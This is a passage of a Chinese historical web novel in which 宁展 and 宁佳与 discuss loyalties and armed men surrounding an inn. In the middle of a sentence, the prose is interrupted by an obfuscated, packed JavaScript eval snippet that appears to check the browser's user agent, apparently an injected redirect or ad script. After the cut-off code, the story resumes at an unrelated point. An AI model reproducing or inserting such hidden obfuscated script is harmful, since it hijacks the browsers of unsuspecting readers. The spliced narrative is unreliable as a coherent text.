宁朝衰亡后，两位冤家拿不出年少相互使绊子的精力了，都忙着安家立业。 闻悉韩宋喜得千金，郑高未应邀赴宴，只修贺函一封至墨川太师府。 信中那些祝来祝去的敬词，韩宋一看即知，这位老兄提笔时背后必然坐着个苦心指导的智囊，唯有结尾那句突兀的“汝老来得女，羡煞余也”才是郑高肺腑之谈。 郑高心认韩宋有才、有魄力、有名望，却从不直言羡慕过什么，独羡其得爱女。他膝下无亲，垂暮之年仅一个愿意尽心追随自己的学生，公孙岚。 父亲给她讲的故事里，公孙岚是郑高当作亲儿子培养的人，是以对宁展所谓郑家的东西该在公孙岚手中，宁佳与并不意外。 “以宁兄弟。”宁佳与欲言又止，“似乎很是重视这位公孙将军？” 公孙岚要真是与山匪合谋的幕后主使，以宁的心情，宁展不能预想。 “何啻重视......公孙将军是他习武的榜样，和信仰。” “嗯......”宁佳与观百步以外人头蠢蠢欲动，数把兵刃直指上房窗棂，道：“那还是由我去，先别让以宁兄出面了。” “不可。” 宁展拦下势要起身的宁佳与，态度坚决。他这回按在宁佳与肩头，是个不容拒绝的意思。 “你和以宁都是入城后要时常跟在我身边的左右手，你们露脸，无异于我露脸。放心，我命以宁看顾好景兄，他不会抛下人贸然行事。” 宁佳与了然，料是宁展动身前把两个手下安排妥当了。以宁守着景以承，出面迎敌的应就是另一位并未入住上房、秘密潜伏客栈的青竹隐士。 “可——”她犹豫再三，道：“柳如殷怎么办？” 宁佳与的弦外之音，宁展心得意会。 他望向阁楼三层那扇同样紧闭的窗，耐人寻味地笑了。 “她如何作为，自该由她的主子去劳心。” 转见宁佳与愁颜不舒，宁展这才想起自己尚未回应那层字面上的忧虑。 “免死金牌”在手，宁佳与依然担心其人的处境，多半是因为隔三差五针对柳如殷的他了。 “......你以为我会派人趁乱取柳氏性命？” 不会吗？宁佳与无言注视着宁展。 “不会。”宁展错开宁佳与乌溜溜的眸子，“起码眼下不会。你了解我。” 她与宁展重逢不过数月，虽说业已高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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重头戏并不在恶犬身上，自也不在手拽铁链的人身上。 然则，即使负责杀人的犬牙不及负责越物的刃锋利，对付上房手无寸铁的平头百姓，亦如七州大典巡游的舞象踩死街边蚂蚁一般简单。 “他们动了至少二三十人。” 宁佳与看掌柜跟随人群折回客栈。 “若并非挨门逐户下手，是分头行动，那位仁兄应付得过来吗？” “我也在考虑。两箱银子四五人便能扛走，”宁展指了指几辆宽敞的两轮板车，“再推车岂不累赘？杀人灭口外，他们或许另有图谋。见机行事罢。” “那车......” 宁佳与端量着宁展的指向，觉得那样式似曾相识。 “像军营里运粮草、器械所用。这阵仗，莫非要转移尸首？不趁夜运走，血腥味儿重，白日人来人往，加之阁楼的位置显眼，更不能妥善处理。如此，客栈早晚要关门。” “就带入楼的兵刃式样而言，杀人势必见血。若如你设想，板车用以运尸，咱们脚下的草不是这颜色了。他们那般自觉，按理论不是第一次使这玩意，年月一长，方圆几十里都躲不开血腥味。那场面，”宁展推翻宁佳与猜测的同时，言语见缝插针夹着调侃，“莫说客栈，汴亭也得人去城空。” “公子这是何意。”宁佳与斜眼扫他，“人有失策，马有失蹄。我当元公子先前邀约同行摆的那些个赞词只是台面上的恭维话，您还真把在下当才德兼备的神仙了？” “那可不是恭维话。更何况，”宁展回望宁佳与，“小与不见得就失策了。” 宁佳与揣着不妙的预感，迟疑道：“怎么？” “寻常人看到这构造的板车，多会往外形与之类似，用以拉运瓜果蔬菜的驴车上想。小与一提，倒是点醒我了。” 宁展并未动手，脸上却扬着些许揪住人小辫子的得色。 “瞧着的确更像军中运送物资的辎重车。”